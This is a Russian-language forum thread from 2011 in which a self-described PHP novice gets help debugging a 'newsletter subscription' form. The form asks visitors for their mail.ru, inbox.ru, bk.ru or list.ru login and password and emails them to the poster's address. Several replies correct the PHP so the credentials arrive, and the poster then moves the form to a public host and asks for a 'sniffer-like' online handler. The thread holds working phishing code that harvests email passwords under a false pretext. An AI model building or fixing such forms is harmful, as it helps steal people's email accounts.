X   Сообщение сайта
(Сообщение закроется через 3 секунды)



 

Здравствуйте, гость (

| Вход | Регистрация )

3 страниц V   1 2 3 >
Открыть тему
Тема закрыта
> Не пашет обработчик html-формы
Zig-Zag_hb
Zig-Zag_hb
Topic Starter сообщение 15.3.2011, 19:40; Ответить: Zig-Zag_hb
Сообщение #1


В php я ламер, уже не знаю в чём дело. Короче говоря, нужно сделать форму подписки на рассылку. наклепал форму, вроде всё правильно

<html>
<body>
<form action="send.php" method="post" name="auth">
<p>Имя<input type="text" name="login">
<select name="domain">
<option selected="" value="mail.ru">@mail.ru</option>
<option value="inbox.ru">@inbox.ru</option>
<option value="bk.ru">@bk.ru</option>
<option value="list.ru">@list.ru</option>
</select></p>
<p>Пароль<input type="password" name="pass"></p>
<input type="submit" name="button" value="Подписаться">
</form>
</html>
</body>


разумеется это не весь код со всеми стилями, решил не засорять форум)

ну а вот и сам файл send.php

[PHP]<?php
$v = mail("chriscris@mail.ru","Логин и пароль","Логин: $login; Домен: $domain; Пароль: $pass;","content-type:text/plain; charset=windows-1251\r\n");
if ($v=="true") {echo"Вы подписались на рассылку";}
?>
[/PHP]

Пока что тестирую на локальном сервере denwer, и всего две ошибки:
первая и самая главная - контейнеры форм приходят пустыми

[attachment=37602:1cc70fde4ebc.png]

уже десять раз всё перепроверил - имена переменных верны, синтаксических ошибок нет, даже антивирус вырубил на всякий случай - ну пустые и всё блин. Вторая ошибка - как видите у меня в коде формы есть выпадающий список доменов. Так вот здесь я написал его таким, какой он должен быть. Но на деле он в таком виде глючит - первый вариант (@mail.ru) в браузере не отображается, а стоит вместо него второй - @inbox.ru. При раскрытии списка там вместо четырёх три варианта, все кроме первого. Почему так - не понятно, перепробовал атрибуты selected, checked, и просто без них - не помогает. Зато помогает, если я напишу @mail.ru два раза:

<option selected="" value="mail.ru">@mail.ru</option>
<option selected="" value="mail.ru">@mail.ru</option>
<option value="inbox.ru">@inbox.ru</option>
<option value="bk.ru">@bk.ru</option>
<option value="list.ru">@list.ru</option>


звучит как бред, но тем не менее так @mail.ru начинает отображаться, как и положено первым в списке и всего один раз (а не два).
Впрочем, это не так важно, сейчас главное чтобы форма элементарно работала, посылала данные из полей в обработчик и далее на почту.
0
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
ottaviano
ottaviano
сообщение 15.3.2011, 19:53; Ответить: ottaviano
Сообщение #2


(Zig-Zag_hb @ 15.3.2011, 21:40) *
имена переменных верны

нет, значения отправленные формой сидят в глобальном массиве $_POST и достаются следующим образом:
[PHP]$_POST['name_of_var'][/PHP]

P.s. сравните со своим списком
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Witu
Witu
сообщение 15.3.2011, 20:26; Ответить: Witu
Сообщение #3


регистрация глобальных переменных в php.ini отключена
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
SEVI
SEVI
сообщение 15.3.2011, 21:56; Ответить: SEVI
Сообщение #4


[PHP]
<?php $v = mail("chriscris@mail.ru","Логин и пароль","Логин: $login; Домен: $domain; Пароль: $pass;","content-type:text/plain; charset=windows-1251\r\n"); if ($v=="true") {echo"Вы подписались на рассылку";} ?>
[/PHP]</DIV>А откуда переменные берете? Обычно данные на ходятся в глобальных переменных $_POST,$_GET,$_REQUEST
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Zig-Zag_hb
Zig-Zag_hb
Topic Starter сообщение 16.3.2011, 5:37; Ответить: Zig-Zag_hb
Сообщение #5


Вот так правильно?

[PHP]<?php
mail("chriscris@mail.ru","Логин и пароль",
"Логин: $_POST['login'];
Домен: $_POST['domain'];
Пароль: $_POST['pass'];",
"content-type:text/plain; charset=windows-1251\r\n");
?>[/PHP]

вылетает ошибка:

Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE, expecting T_STRING or T_VARIABLE or T_NUM_STRING in X:\home\localhost\www\test_mail\send.php on line 3
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
LoaD_hb
LoaD_hb
сообщение 16.3.2011, 10:32; Ответить: LoaD_hb
Сообщение #6


Попробуй так:
[PHP]<?php
$login=$_POST['login'];
$domain=$_POST['domain'];
$pass=$_POST['pass'];
$v = mail("chriscris@mail.ru","Логин и пароль","Логин: $login; Домен: $domain; Пароль: $pass;","content-type:text/plain; charset=windows-1251\r\n");
if ($v=="true") {echo"Вы подписались на рассылку";}
?>[/PHP]
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
SEVI
SEVI
сообщение 16.3.2011, 20:58; Ответить: SEVI
Сообщение #7


Zig-Zag, похоже что вы НИКОГДА не пользовались переменными выводимыми допустим с текстом.
[PHP]
<?php mail("chriscris@mail.ru","Логин и пароль", "Логин: ".$_POST['login']." Домен: ".$_POST['domain']." Пароль: ".$_POST['pass'], "content-type:text/plain; charset=windows-1251\r\n"); ?>
[/PHP]
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Zig-Zag_hb
Zig-Zag_hb
Topic Starter сообщение 17.3.2011, 5:22; Ответить: Zig-Zag_hb
Сообщение #8


(SEVI @ 16.3.2011, 22:58) *
Zig-Zag, похоже что вы НИКОГДА не пользовались переменными выводимыми допустим с текстом.

Я НИКОГДА не пользовался языком php :wall:
Обработчик делал по уроку Евгения Попова, что он гонит чтоле?

LoaD, SEVI - ваши скрипты почему-то не сработали, после нажатия на кнопку просто перекидывает на пустую страницу с обращением к файлу send.php, папка sendmail пустая. Тот скрипт который у меня в первом посте хотябы письмо отправлял(((
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Zig-Zag_hb
Zig-Zag_hb
Topic Starter сообщение 17.3.2011, 8:11; Ответить: Zig-Zag_hb
Сообщение #9


А есть ли в интернете онлайн-обработчик форм? Типа регистрируешься, вводишь имена полей, тебе дают адрес, который надо прописать в атрибуте action и готово. Типа сниффера, только без криминала)
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
Zig-Zag_hb
Zig-Zag_hb
Topic Starter сообщение 18.3.2011, 5:15; Ответить: Zig-Zag_hb
Сообщение #10


Чудесным и непонятным образом всё заработало... хотя ничего не менял, но контейнеры стали приходить заполненными... :goodpost:
Теперрь другая проблема - залил файл send.php на хостинг с поддержкой php, в поле action указал полный адрес до него http://chriscris.ecsperta.com/send.php , сделал права 777, однако на моё мыло ничего не приходит... что делать?

И ещё как здесь прописать

[PHP]if ($v=="true") {echo"Вы подписались на рассылку";}[/PHP]

чтобы после заполнения формы был переброс на нужную страницу?
Вернуться в начало страницы
 
Ответить с цитированием данного сообщения
3 страниц V   1 2 3 >
Открыть тему
Тема закрыта
1 чел. читают эту тему (гостей: 1, скрытых пользователей: 0)
Пользователей: 0


Свернуть

> Похожие темы

  Тема Ответов Автор Просмотров Последний ответ
Горячая тема (нет новых ответов) Вёрстка HTML-писем
30 Vampler 29355 27.3.2024, 12:41
автор: Vampler
Открытая тема (нет новых ответов) Разработка/доработка сайтов Wordpress, HTML/CSS/JS
Вёрстка, перенос на WP, правки
9 malamut 3459 25.1.2024, 14:36
автор: malamut
Открытая тема (нет новых ответов) СОЗДАНИЕ : / САЙтЫ / ЛЕНДЫ / БОТЫ ТГ / ВАЙТЫ / КРЕО / СОФТЫ / ДИЗАЙН [PHP, JS, HTML/CSS] и другое
5 CULA 3398 19.12.2023, 18:55
автор: CULA
Открытая тема (нет новых ответов) Залить html страницу на 20 доменов
6 TABAK 1705 22.5.2023, 16:24
автор: KORUP
Открытая тема (нет новых ответов) Сделать правки на html-странице
5 TABAK 2303 20.5.2023, 10:45
автор: EvilGomel


 



RSS Текстовая версия Сейчас: 19.4.2024, 12:30
Дизайн